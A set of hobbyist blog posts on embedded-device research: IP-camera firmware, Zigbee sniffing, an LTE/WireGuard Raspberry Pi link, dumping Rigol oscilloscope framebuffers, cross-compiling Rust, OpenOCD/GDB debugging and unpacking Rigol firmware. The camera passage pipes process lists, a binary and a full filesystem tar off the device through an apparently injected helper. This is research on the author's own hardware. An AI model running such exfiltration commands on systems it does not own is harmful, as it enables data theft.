149 root         0 DW   [kdrv_ise_proc_t]
150 root         0 DW   [kdrv_ise_cb_tsk]
288 root         0 DW   [ae_tsk]
289 root         0 DW   [ae_tsk]
292 root         0 DW   [awb_tsk]
293 root         0 DW   [awb_tsk]
296 root         0 DW   [iq_tsk]
297 root         0 DW   [iq_tsk]
309 root     12400 S    XmServices_Mgr /usr/sbin/AppRun.sh /mnt/mtd/Config/
315 root      1544 S    {AppRun.sh} /bin/sh /usr/sbin/AppRun.sh
317 root     89704 S    /usr/bin/App
409 root      1544 S    /bin/sh -c ps | /var/sc
410 root      1548 R    ps
411 root      2188 S    /var/sc

As we can't see /usr/bin/upgrader in this, it indeed looks like we're hitting the upgrade code within the App binary itself. We can also get the App binary from the camera by applying the same trick to run cat /usr/bin/App | /var/sc.

Comparing the md5sum for both the on-camera binary and the one from the firmware update reveals a difference:

• db5f42a51af844b133ef440519a0513e (camera)
• 9a40ddf089ffdb5f9565aeb93279d250 (update)

While we're at it, we might as well also just ship over the whole filesystem since we have tar available: tar -c --exclude=proc --exclude=dev --exclude=sys / | /var/sc.

The nRF52840 MDK USB Dongle from Makerdiary is a small little dev board featuring an nRF52840 and plugging directly into a USB 2 A port. One of the things you can do with it is to sniff Zigbee traffic.

Bootloader

By default these days, the dongle will ship with the UF2 bootloader. Plugging the dongle in while holding the button pressed will trigger it and you will see a combination of USB mass storage device and serial port for programming.

Nordic Semiconductor provides a (closed-source) firmware and necessary Wireshark plugin on Github. Unfortunately I did not have much success converting it to uf2 and flashing it with the UF2 bootloader, so let's go back to the Open Bootloader we can use with Nordic's tools.

To do so, we can follow the instructions. I'm doing this on powershell and with a dedicated virtualenv:

> python -m venv venv
> . .\venv\Scripts\Activate.ps1
> pip install adafruit-nrfutil
> adafruit-nrfutil.exe --verbose dfu serial --package .\nrf52840_mdk_usb_dongle_open_bootloader_v1.2.0.uf2.zip -p COM7 -b 115200 --singlebank

The referenced zip file comes from the same repository as the instructions. The COM port depends on your system -> check device manager.

Firmware

With the new bootloader, we can now simply follow the instructions from Nordic and use nRF Connect for Desktop to flash the firmware.

Make sure you tell Wireshark about your network's key (eg. from the configuration.yaml if you're using Zigbee2MQTT) to get the packets nicely decoded.

Sometimes it can be useful to have an out of band way to monitor and/or SSH into your Raspberry Pi - for example when the normal internet connection has issues.

Waveshare has an interesting NB-IoT / Cat-M Pi Hat using a SIM7000E module for LTE wireless connectivity. While this doesn't give you amazing data rates, it is enough to perform some monitoring and do manual SSH debugging.

The setup I wanted to go for is a Wireguard tunnel that can use the LTE connection if available. The way this works is via a PPP connection like any other modem. For this, we need to apt install ppp pppconfig wireguard. You can run pppconfig to set up some default config - it doesn't really matter what settings you choose as we will overwrite them again.

PPP Config

First up is /etc/ppp/options. My provider does not require any authentication (if yours does, you can find plenty of PPP config examples on the internet):

ttyAMA0
115200
lock
nocrtscts
modem
passive
novj
nodefaultroute
noipdefault
noauth
hide-password
persist
holdoff 10
maxfail 0
debug

We'll also change /etc/ppp/peers/provider to use these options and a chatscript:

file /etc/ppp/options
connect "/usr/sbin/chat -v -f /etc/chatscripts/provider"

The chatscript goes in /etc/chatscripts/provider:

# Abortstring - responses that indicate errors
ABORT BUSY ABORT 'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT 'NO DIAL TONE' ABORT 'NO ANSWER' ABORT DELAYED

# Send AT so the modem autobauding can detect the baud rate
'' AT

# Set result mode
'OK' 'ATQ0'

# Reset settings to defaults
'OK-AT-OK' 'ATZ'

# Query some modem and network debug info for the log
OK ATI;+CSUB;+CSQ;+COPS?;+CGREG?;&D2

# Set Cat-M mode
OK AT+CMNB=1

# Set LTE only
OK AT+CNMP=38

# Set the APN
OK AT+CGDCONT=1,"IP","internet",,0,0

# Dial
OK ATD*99#

Since my provider only supports Cat-M but not NB-IoT, I'm forcing the modem to use it. You can also remove the corresponding line or change it to NB-IoT (see the SIM7000E datasheet for valid values)

You should now be able to run pon to establish a connection. Log messages appear in /var/log/messages. After the connection is established, you should see a ppp0 interface.

Test your connection:

# ping -I ppp0 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 10.4.73.208 ppp0: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=58 time=297 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=58 time=82.9 ms

Transfer Speed

The configuration above is relatively simple and just uses the maximum autobaud speed of 115200 baud. This will likely limit your throughput below what LTE can do. The SIM7000E supports higher baud rates, but you have to manually switch the rate through AT commands.

For example, you could send AT+IPR=921600 to the modem and update /etc/ppp/options accordingly to achieve higher speeds. You can't do this through the chatscript though as it would have to switch speeds in the middle.

Autostart on Boot

You can for example use a custom systemd unit to start the connection on boot.

Wireguard

The wireguard setup is pretty much standard with the addition of an FwMark, so my configuration looks something like this in /etc/wireguard/wg0.conf:

[Interface]
PrivateKey = YOURKEY
Address = 192.168.2.2/24
FwMark = 51821

[Peer]
PublicKey = YOUR_SERVER_PUB_KEY
AllowedIPs = 192.168.2.1/32
Endpoint = YOUR_SERVER_IP:51821
PersistentKeepalive = 600

What the FwMark lets us do is selectively route the encrypted Wireguard packets through ppp0 when it's up (and via the normal gateway otherwise) by using a new kernel routing table and sending packets with the mark there.

PPP has hooks we can use to activate the config when the interface goes up/down.

/etc/ppp/ip-up.d/wireguardroute:

#!/bin/sh

# Reset routing table 10 to empty
ip route flush table 10

# Table 10 should send per default via ppp0
ip route add default table 10 dev ppp0

# And we'll use the fwmark to send wireguard traffic there
ip rule add fwmark 51821 table 10

/etc/ppp/ip-down.d/wireguardroute:

#!/bin/sh
ip rule del fwmark 51821 table 10
ip route flush table 10

Use wg-quick as usual to manage the interface.

Resetting the SIM7000E

If you have issues during testing or want to do some sort of watchdog reset, you can avoid having to unplug the whole thing by using the on/off control pin wired through to the Pi. For example in Python:

#!/usr/bin/env python
import time
import RPi.GPIO as G

G.setmode(G.BCM)
G.setup(4, G.OUT)
G.output(4, True)
time.sleep(2)
G.output(4, False)

From poking around earlier, we can make an educated guess that the graphical output works via frame buffer as there is a device node /dev/fb0. fbset can tell us a bit more about its format:

<root@rigol>fbset

mode "1024x600-0"
        # D: 0.000 MHz, H: 0.000 kHz, V: 0.000 Hz
        geometry 1024 600 1024 600 16
        timings 0 0 0 0 0 0 0
        accel false
        rgba 5/11,6/5,5/0,0/0
endmode

So we have 1024 * 600 pixels formatted as 16bit RGB values with 5, 6 and 5 bits respectively dedicated for the colors.

Let's try dumping the frame buffer (cp /dev/fb0 /tmp/screenshot) and transfer it over to our more beefy Ubuntu VM. There, we can use ffmpeg to convert it to PNG:

$ ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgb565 -s 1024x600 \
         -i screenshot -f image2 -vcodec png screenshot.png

Looking at the resulting file, we however just see the RIGOL logo with the loading progress bar at 100%, so there seems to be more to it. The easiest way to figure out how the frame buffer works would be to look at the source - fortunately, Olliver Schinagl managed to get kernel sources from Rigol and put them on GitLab.

The frame buffer driver

Looking at .config we find that the only enabled frame buffer driver is CONFIG_FB_XILINX. This driver can be found in /drivers/video/xilinxfb.c. After the normal header includes, this driver also seems to just straight up include /drivers/video/dpu.c.

An interesting place to start is probably the ioctls this driver supports as there might be some special ones Rigol put in. And we can indeed find some custom commands in xilinx_fb_ioctl:

• DPU_SET_LAYER_RST: Resets the driver
• DPU_SET_LAYER_ID: Changes the layer ID
• DPU_GET_LAYER_ID: Returns the current layer ID
• DPU_SET_TRACE_MASK: ???
• DPU_SET_TRACE_COLOR: ???
• DPU_SET_TRACE_DATA: ???
• DPU_SET_LAYER_ALPHA: ???
• DPU_SET_LAYER_OPEN: ???
• DPU_SET_LAYER_CLOSE: ???
• DPU_SET_WAVE_XY: Set the X and Y coordinate of the wave layer
• DPU_SET_HDMI: ???
• DPU_SCR_PRINT: Instruct the hardware to do a printscreen

The command numbers start with 0x0F000000 for DPU_SET_LAYER_ID and then just increment in the order defined in the enum in /drivers/video/dpu.h (note that the order is slightly different than above / in the ioctl code!).

Layers

So it seems we have a stack of layers. drvDPUInit provides a good idea of what these layers are. The layer numbers are defined via an enum:

enum
{
    DPU_Layer_Back,  // layer 0
    DPU_Layer_Wave,  // layer 1
    DPU_Layer_Eye,   // layer 2
    DPU_Layer_Fore,  // layer 3
    DPU_Layer_Print, // layer 4
    DPU_Layer_Comp,  // layer 5
    DPU_Layer_All,
    DPU_Layer_Logo = DPU_Layer_All
};

DPU_Layer_All does not seem to be a layer itself but is used as the number of layers (of which there are 6).

How do we get those layers? The memory that is mapped in xilinx_fb_mmap is chosen based on drvdata->opAddr which indexes to the layer currently chosen via the DPU_SET_LAYER_ID ioctl. We can thus use said ioctl to select which layer we want to mmap.

Dumping layers

To dump layers, we have to switch the layer via ioctl, mmap the file and then just write out the bytes. We can again use ffmpeg to convert the raw pixel array to a PNG file. You can find my rust implementation for the dumper on Github. It also contains code to directly output PNG, so you can even skip ffmpeg.

The background (0) and foreground (3) layers contain about what we'd expect, namely the backing grid and the UI elements respectively. The wave layer has a different color format and dimension - the code indicates 1000 * 480 in R8G8B8 format. The reality seems to look different though if we look at an excerpt from hexdump:

000e6b90  cc cc cc 00 00 45 45 00  cc cc cc 00 00 45 45 00  |.....EE......EE.|
000e6ba0  00 6a 6a 00 cc cc cc 00  cc cc cc 00 00 53 53 00  |.jj..........SS.|

We know that the transparency color is 0xCCCCCC so we have 4 bytes with the 4th always being zero. Additionally, the trace is yellowish, but the first byte is zero for opaque pixels. So this looks more like a BGR format with 1 byte each + a zero-byte per pixel.

Taking screenshots

From the code, we can also deduct that there is a hardware-assisted print screen function. The implementation can be found in the printSCR function. It seems to set a register to request the operation and then wait until completion is signalled via another register or the timeout expires.

We can trigger this by using command 0x0F00000C and passing a pointer to an integer - this will contain 0 to signal success and 1 for failure.

Putting it all together

With the separate layers, we can do custom stackups. The following image is the back layer with the wave layer on top as two images. Since we have transparency preserved in the PNG files, this works as intended and shows the background grid under the traces:

In the last post, we got NFS set up - that should make it quite easy to experiment with cross-compiling our own code for the scope and run it directly off of an NFS share.

I'm using the same Ubuntu 20.10 VM as always for this. The goal this time is to see if we can write some code in rust and get it running. To follow along, you should have rustup installed. You can find instructions here.

Creating a hello world binary

First, we're going to need the ARM target for Rust as well as the ARM cross compiler:

$ sudo apt install gcc-arm-linux-gnueabihf
$ rustup target install armv7-unknown-linux-musleabihf

Note that the target is using musl (a small C standard library) instead of glibc. The reason for this is mainly that on the scope, we have glibc 2.4 and we'd need a toolchain built against the same version in order to support dynamic linking. It therefore seems easier to use musl and just link everything statically for now.

Let's create a new rust project:

$ cargo new hello
     Created binary (application) `hello` package
$ cd hello

Feel free to use your favorite editor to change the hello world message into whatever you like in src/main.rs. We can tell cargo what linker to use and build a binary for our target:

$ export CARGO_TARGET_ARMV7_UNKNOWN_LINUX_MUSLEABIHF_LINKER=/usr/bin/arm-linux-gnueabihf-gcc
$ cargo build --target=armv7-unknown-linux-musleabihf --release

Unfortunately this results in a 3.6 MB executable for me, which seems a bit excessive. We can squash this in half: In Cargo.toml, add a [profile.release] section with the option lto = true and build again.

A slight detour: Let's make it smaller

1.5 MB still seems excessive, so let's see if we can't make this even smaller. The nightly rust releases seem to have some more features:

• Install nightly: rustup default nightly
• Install the rust source for nightly: rustup component add rust-src --toolchain nightly
• You might have to install the target again for nightly: rustup target install armv7-unknown-linux-musleabihf

Applying some more tricks, we get this Cargo.toml:

cargo-features = ["strip"]

[package]
name = "hello"
version = "0.1.0"
edition = "2018"

[dependencies]

[profile.release]
lto = true
strip = "symbols"
codegen-units = 1
opt-level = "z"

for a binary size of about 260 KB. Still large for just printing "hello world" but much better.

Running it on the actual scope

You will need SSH access to your scope to test it - refer to the fist post in this series on how to get that.

You can either use the NFS share from last time or copy our binary over to the scope:

$ scp target/armv7-unknown-linux-musleabihf/release/hello root@IPOFYOURSCOPE:/tmp/

and login via SSH and run it:

<root@rigol>/tmp/hello
Hello, world!

After getting SSH access in the last post. We can now explore the running system a bit more.

Running processes

Looking at the running processes with ps ax yields only a few:

• /rigol/appEntry -run
• rpcbind
• /rigol/cups/sbin/cupsd -C /rigol/cups/etc/cups/cupsd.conf
• /rigol/webcontrol/sbin/lighttpd -f /rigol/webcontrol/config/lighttpd.conf
• ... and of course sshd and our login shell, but that's less interesting at this point

So it looks like we have the main app (appEntry), CUPS for printing and lighthttpd for the web interface. Slightly more interesting is that we have rpcbind, which could hint at NFS being available to us. Let's give it a try.

Using NFS to exchange files

Still using the Ubuntu machine from the last post, we can install NFS with apt-get install nfs-server and add a share in /etc/exports:

/home/youruser/nfsserver 192.168.1.0/24(rw,sync,all_squash,anonuid=1000,anongid=1000)

and reload with exportfs -ra. The share is available to the whole subnet (change it if you use different IP addresses) and squashes all users to the Ubuntu user (replace "youruser" and the UID/GID to match your setup).

On the scope, we can then mount this:

<root@rigol>mkdir /media/nfs
<root@rigol>mount -t nfs 192.168.1.1:/home/youruser/nfsserver /media/nfs
<root@rigol>cd /media/nfs/
<root@rigol>ls
hello  world

and we can see the hello and world files I put in the shared directory.

Mounts

Looking at /proc/mounts, we can see what else is mounted:

rootfs / rootfs rw 0 0
/dev/root / ext2 rw,relatime,errors=continue 0 0
devtmpfs /dev devtmpfs rw,relatime,size=218708k,nr_inodes=54677,mode=755 0 0
none /proc proc rw,relatime 0 0
none /sys sysfs rw,relatime 0 0
none /tmp tmpfs rw,relatime,size=102400k 0 0
devpts /dev/pts devpts rw,relatime,mode=600 0 0
/dev/ubi6_0 /rigol ubifs rw,relatime 0 0
/dev/ubi1_0 /rigol/data ubifs rw,sync,relatime 0 0
/dev/ubi12_0 /user ubifs rw,sync,relatime 0 0

In addition to /rigol we already discovered last time, there seem to be two additional UBIFS mounts:

• /user: /user/data appears to be the location that the scope UI calls C:\
• /rigol/data: Seems to contain calibration data and license keys

Various other things

<root@rigol>cat /proc/cpuinfo
processor       : 0
model name      : ARMv7 Processor rev 0 (v7l)
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpd32
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part        : 0xc09
CPU revision    : 0

processor       : 1
model name      : ARMv7 Processor rev 0 (v7l)
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpd32
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part        : 0xc09
CPU revision    : 0

Hardware        : Xilinx Zynq Platform
Revision        : 0000
Serial          : 0000000000000000

<root@rigol>cat /proc/meminfo
MemTotal:         448236 kB
MemFree:          288680 kB
[...]

<root@rigol>cat /proc/cmdline
console=ttyPS0,115200 no_console_suspend, root=/dev/ram rw

<root@rigol>uname -an
Linux (none) 3.12.0-xilinx #48 SMP PREEMPT Wed Dec 12 15:26:15 CST 2018 armv7l GNU/Linux

<root@rigol>lsmod
usbtmc 16092 0 - Live 0xbf026000
usbtmc_dev 12637 1 - Live 0xbf01d000
libcomposite 38365 1 usbtmc_dev, Live 0xbf00c000
tmp421 3786 0 - Live 0xbf008000
devIRQ 2618 2 - Live 0xbf004000 (O)
axi 2540 1 - Live 0xbf000000 (O)

Looks like we know everything we need to try and compile/run our own programs!

In part 1, we came up with a minimal program and a linker script to compile a binary we could load onto the Blue Pill. We used OpenOCD to program the binary into the chip's embedded flash memory. OpenOCD can however do much more than what we did so far.

Programming Flash

To change things up a little bit, we're going to use an ST-LINK V2 adapter this time. Compared to the the Sipeed JTAG adapter used in part 1, it has less features; there is no embedded serial port and it can't do JTAG.

On the other hand, the ST-LINK provides power for our Blue Pill and uses SWD to talk to the chip - the necessary SWDIO and SWCLK pins are conveniently accessible on the end of the Blue Pill. For a smooth experience, you also want to connect the RST pin of the ST-LINK with the reset pin on the Blue Pill (next to the USB connector, marked "R" or "B2").

Since we're using a different adapter (or "interface" in OpenOCD terminology), we need a new config file. OpenOCD ships with one for the ST-LINK, so our config can be as simple as this (stlink_bluepill.cfg):

source [find interface/stlink-v2.cfg]
transport select hla_swd
source [find target/stm32f1x.cfg]

We're just using the shipped interface config, the SWD transport and the STM32F1x target (remember, the Blue Pill has an STM32F103 chip). We can again program our ELF binary from part 1:

openocd -f stlink_bluepill.cfg -c "program main.elf verify reset exit"

Debugging

OCD stands for "On-Chip Debugger", so programming could be seen more as a side business than the core purpose of OpenOCD. ARM cores contain a debug port (DP) that can be access via JTAG or SWD. Through it, we can read and manipulate the CPU's state and memory.

Let's start OpenOCD again, this time without programming anything:

$ openocd -f stlink_bluepill.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
        http://openocd.org/doc/doxygen/bugs.html
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
adapter speed: 1000 kHz
adapter_nsrst_delay: 100
none separate
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : clock speed 950 kHz
Info : STLINK v2 JTAG v29 API v2 SWIM v7 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.145419
Info : stm32f1x.cpu: hardware has 6 breakpoints, 4 watchpoints

In this mode, OpenOCD will be listening on ports 3333 and 4444. Let's try telnet on port 3333:

$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
>

We get a prompt, where we can for example halt the CPU. If we do this, our blinking LED should stop:

> halt
target halted due to debug-request, current mode: Thread
xPSR: 0x21000000 pc: 0x08000132 msp: 0x20004ff0

You can resume the CPU (and the blinking) with resume. To disconnect, simply use exit.

GDB

On port 3333, OpenOCD runs a GDB server. We can run GDB and connect to it with target remote :3333 like this:

$ arm-none-eabi-gdb main.elf
GNU gdb (7.10-1+9) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=arm-linux-gnueabihf --target=arm-none-eabi".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main.elf...done.
(gdb) target remote :3333
Remote debugging using :3333
wait () at main.c:22
22        for (unsigned int i = 0; i < 2000000; ++i) __asm__ volatile ("nop");
(gdb)

We compiled the binary with -ggdb, so GDB was able to load debug symbols and after connecting to the target can directly tell us what code the CPU was executing. Since we're waiting most of the time, it's highly likely that we see the for loop in the wait() function doing NOPs.

Let's reset the CPU and single-step through our code (you can just press enter to repeat the previous command):

(gdb) monitor reset halt
target halted due to debug-request, current mode: Thread
xPSR: 0x01000000 pc: 0x08000140 msp: 0x20005000
(gdb) s
25      void main() {
(gdb)
36          *((volatile unsigned int *)0x40011010) = (1U << 13);
(gdb)
39          *((volatile unsigned int *)0x40011010) = (1U << 29);
(gdb)
27        *((volatile unsigned int *)0x40021018) |= (1 << 4);
(gdb)
30        *((volatile unsigned int *)0x40011004) = ((0x44444444 // The reset value
(gdb)
36          *((volatile unsigned int *)0x40011010) = (1U << 13);
(gdb)

The LED should now be turned on - but what follows is a boring 2 million NOP loops. If we want to go straight to where we turn the LED off, we can use a break point. Resetting the LED is on line 39, so:

(gdb) break main.c:39
Breakpoint 1 at 0x8000146: file main.c, line 39.
(gdb) c
Continuing.

Unfortunately, at least with my GCC and GDB versions, this did not work.

Interlude: Why is the breakpoint not working?

We can disassemble the code of our main function:

(gdb) disass
Dump of assembler code for function main:
0x08000140 <+0>:     movs    r1, #16
0x08000142 <+2>:     push    {r4, r5, r6, lr}
0x08000144 <+4>:     movs    r6, #128        ; 0x80
0x08000146 <+6>:     movs    r5, #128        ; 0x80
0x08000148 <+8>:     ldr     r2, [pc, #32]   ; (0x800016c <main+44>)
0x0800014a <+10>:    ldr     r3, [r2, #0]
0x0800014c <+12>:    orrs    r3, r1
0x0800014e <+14>:    str     r3, [r2, #0]
0x08000150 <+16>:    ldr     r2, [pc, #28]   ; (0x8000170 <main+48>)
0x08000152 <+18>:    ldr     r3, [pc, #32]   ; (0x8000174 <main+52>)
0x08000154 <+20>:    str     r2, [r3, #0]
0x08000156 <+22>:    lsls    r6, r6, #6
0x08000158 <+24>:    lsls    r5, r5, #22
0x0800015a <+26>:    ldr     r4, [pc, #28]   ; (0x8000178 <main+56>)
0x0800015c <+28>:    str     r6, [r4, #0]
0x0800015e <+30>:    bl      0x8000130 <wait>
=> 0x08000162 <+34>:    str     r5, [r4, #0]
0x08000164 <+36>:    bl      0x8000130 <wait>
0x08000168 <+40>:    b.n     0x800015a <main+26>
0x0800016a <+42>:    nop                     ; (mov r8, r8)
0x0800016c <+44>:    asrs    r0, r3, #32
0x0800016e <+46>:    ands    r2, r0
0x08000170 <+48>:    add     r4, r8
0x08000172 <+50>:    add     r4, r6
0x08000174 <+52>:    asrs    r4, r0, #32
0x08000176 <+54>:    ands    r1, r0
0x08000178 <+56>:    asrs    r0, r2, #32
0x0800017a <+58>:    ands    r1, r0
End of assembler dump.

Looking at the code, we wanted to break between the two call to main - this would be at address 0x08000162. However, the breakpoint was set at 0x8000146. If we stare at the code a bit, we can see that GCC optimized it for speed quite a bit.

Instead of computing the bitshift in each loop iteration, it's only doing str r5, [r4, #0], so just storing the value from register r5. And if we look at the instruction where GDB set the breakpoint, movs r5, #128, this is actually the first step in computing the shifted (1U << 29) value. The second part is at 0x08000158 where the already set 0x80 is shifted by 22.

So it looks like GDB set the breakpoint on the first instruction belonging to the line of code we wanted to break on - unfortunately this is outside the loop and we won't hit it.

We can set a breakpoint on the correct address manually:

(gdb) break *0x08000162
Breakpoint 7 at 0x8000162: file main.c, line 39.
(gdb) c
Continuing.

Breakpoint 2, main () at main.c:39
39          *((volatile unsigned int *)0x40011010) = (1U << 29);

Looking at CPU state

After hitting the (fixed) breakpoint from above, we can take a look at the CPU registers:

(gdb) info registers
r0             0x4a5dead2       1247668946
r1             0x10     16
r2             0x44344444       1144276036
r3             0x0      0
r4             0x40011010       1073811472
r5             0x20000000       536870912
r6             0x2000   8192
r7             0xf23d2b64       -230872220
r8             0xff3ffffe       -12582914
r9             0xefbf9ddd       -272654883
r10            0x2ad17842       718370882
r11            0x63dac8c9       1675282633
r12            0xf9ffeffb       -100667397
sp             0x20004ff0       0x20004ff0
lr             0x8000163        134218083
pc             0x8000162        0x8000162 <main+34>
xPSR           0x61000000       1627389952

Most interesting are r5 and r6, where we figured out our shifted values for turning on/off the LED are. pc is the program counter - which unsurprisingly points to the instruction we set the breakpoint at.

sp is the stack pointer. If we compare it to where we started, we didn't get too far:

(gdb) print &_end_of_ram
$1 = (unsigned long *) 0x20005000

But since our program is not that big, that's to be expected. We could also print memory, but again, due to the simplicity of our minimal program, everything ends up in registers anyway.

I've had a Rigol MSO5074 oscilloscope for a while now, and while unlocking all options has already been achieved over at the eevblog forums, I've always wanted to poke around a bit myself.

I'm going to do this on a fresh Ubuntu 20.10 install - mainly because most tools are just an apt-get install away.

But first, we have to find a firmware to look at. Rigol seems to have various websites targeted at different markets. But it seems they all carry the same version as the most recent: 00.01.03.00.01:

• rigol.eu
• rigolna.com

Both contain a file called DS5000Update.GEL with an MD5 checksum of c85c5f4a64a8c9d435b589835225d527.

What is a GEL file?

A good thing to try first is trying file to get an idea what format it could be:

$ file DS5000Update.GEL
DS5000Update.GEL: POSIX tar archive (GNU)

A tar file is of course nice to start with. Let's unpack it:

$ tar -xvf DS5000Update.GEL
fw4linux.sh
fw4uboot.sh
logo.hex.gz
zynq.bit.gz
system.img.gz
app.img.gz

We get a couple of shell scripts as well as some compressed data files. We can decompress the data files with gunzip *.gz. The shell scripts however seem to be compressed or encrypted:

$ hd fw4linux.sh 
00000000  1e 36 66 da f3 a5 41 d4  de f1 95 ab 09 0f 52 1c  |.6f...A.......R.|
00000010  07 99 0f 2e 35 0f b8 85  6b 95 6e e3 b2 fb 0a aa  |....5...k.n.....|
[...]

So let's ignore those for now. logo.hex and zynq.bit don't sound too interesting - they are most likely some image and the Zynq FPGA bitstream.

app.img

file is our friend once more:

$ file app.img 
app.img: UBI image, version 1

Googling for "UBI image" will likely be a bit misleading since RedHat's announcement for their container image ranks higher than the result we're interested in: UBIFS on Wikipedia. From there, we learn that UBI and UBIFS are a filesystem and something that looks similar to LVM specifically built for flash devices - doing nice things like wear leveling and bad block management.

You might be tempted to mount this image on a loop-back device - but that doesn't work since UBI runs on top of MTD, which is a different kind of device than a block device.

There's however a Python implementation called "ubi_reader" we can use. Let's set up a python venv and install it:

$ sudo apt-get install python3-venv python3-dev liblzo2-dev build-essential
[.. installing stuff ..]
$ python3 -m venv ../venv
$ . ../venv/bin/activate
$ pip install ubi_reader python-lzo

We can get the parameters used for this UBI image:

$ ubireader_utils_info app.img

Volume app
    alignment   -a 1
    default_compr   -x lzo
    fanout      -f 8
    image_seq   -Q 2016671535
    key_hash    -k r5
    leb_size    -e 126976
    log_lebs    -l 5
    max_bud_bytes   -j 8388608
    max_leb_cnt -c 825
    min_io_size -m 2048
    name        -N app
    orph_lebs   -p 1
    peb_size    -p 131072
    sub_page_size   -s 2048
    version     -x 1
    vid_hdr_offset  -O 2048
    vol_id      -n 0

    #ubinize.ini#
    [app]
    vol_type=dynamic
    vol_flags=autoresize
    vol_id=0
    vol_name=app
    vol_alignment=1
    vol_size=98660352

These should come in handy in case we want to use nandsim to mount the UBI image. We can also extract all files:

$ ubireader_extract_files app.img
Extracting files to: ubifs-root/2016671535/app
$ ls ubifs-root/2016671535/app/
appEntry  cups  default  drivers  K160M_TOP.bit  mail  Qt5.5  resource  shell  tools  webcontrol
$ ls ubifs-root/2016671535/app/shell/
format_disk.sh  load_setup.sh  mount_user_space.sh  print_page.sh  send_mail.sh  start.sh  update.sh  wifi.sh

We could probably already have guessed that is is an ARM Linux environment since we saw a Zynq bitstream earlier and Zynq contains ARM cores - but we can confirm by taking a look at the appEntry binary:

$ file ubifs-root/2016671535/app/appEntry 
ubifs-root/2016671535/app/appEntry: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

update.sh also looks interesting as it mentions fw4linux.sh we saw earlier. It seems to pass it through /rigol/tools/cfger -d where the -d could stand for "decrypt".

This whole thing is only application code though - let's go look at the system as well.

system.img

This time around we don't get an easy life with file:

$ file system.img 
system.img: data

But we have a great tool to get further: binwalk. Since we already have a Python venv, let's just clone from Github and install:

$ git clone https://github.com/ReFirmLabs/binwalk.git
$ cd binwalk
$ python setup.py install

And run it against system.img:

$ binwalk system.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Flattened device tree, size: 14216248 bytes, version: 17
248           0xF8            Linux kernel ARM boot executable zImage (little-endian)
16611         0x40E3          gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
3303420       0x3267FC        Flattened device tree, size: 9597 bytes, version: 17
3313212       0x328E3C        gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2019-01-22 08:41:09
12627549      0xC0AE5D        MySQL MISAM index file Version 6

Running it with -e extracts anything it can extract into _system.img.extracted where we find rootfs.img. Falling back to file:

$ file rootfs.img 
rootfs.img: Linux rev 1.0 ext2 filesystem data, UUID=dba05baa-0271-4f62-92a1-3a6f75eecf53

This time around, we can use a loop-back mount:

$ sudo losetup -f _system.img.extracted/rootfs.img
$ losetup -l
NAME        SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE                                                           DIO LOG-SEC
[...]
/dev/loop10         0      0         0  0 /path/to/rootfs.img   0     512
$ mkdir rootfs_initrd
$ sudo mount /dev/loop10 rootfs_initrd/

And in there, we have a Linux root filesystem.

Combining system.img and app.img

Based on what we saw in update.sh and the fact that there is an empty directory called rigol in the root filesystem, it is likely that the contents of app.img are mounted under /rigol. We can emulate this with a bind mount:

$ sudo mount --bind ubifs-root/2016671535/app rootfs_initrd/rigol

And with this, we have what we would expect to see on the scope.

Decrypting fw4linux.sh

Now that we have the user-space, can we somehow use it to decrypt the fw4linux script? It would be great if we could just run cfger but that is an ARM binary and my VM is amd64. We can try QEMU to get around that:

$ sudo apt-get install qemu-user
$ cd rootfs_initrd/
$ chmod +x rigol/tools/cfger
$ LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
cfger: loadlocale.c:130: _nl_intern_locale_data: Assertion `cnt < (sizeof (_nl_value_type_LC_TIME) / sizeof (_nl_value_type_LC_TIME[0]))' failed.
qemu: uncaught target signal 6 (Aborted) - core dumped
Aborted (core dumped)

With LD_LIBRARY_PATH, we're telling the linker where to look for shared libraries - which it should look for in our extracted rootfs instead of on the host system. Unfortunately the binary crashed, but it looks like it happened due to locale-related code. Let's just set the local to C and try again:

$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
/tmp/env.bin not exist
$ touch /tmp/env.bin
$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
$ dd if=/dev/zero of=/tmp/env.bin bs=100 count=1
1+0 records in
1+0 records out
100 bytes copied, 0.000193575 s, 517 kB/s
$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
crc error

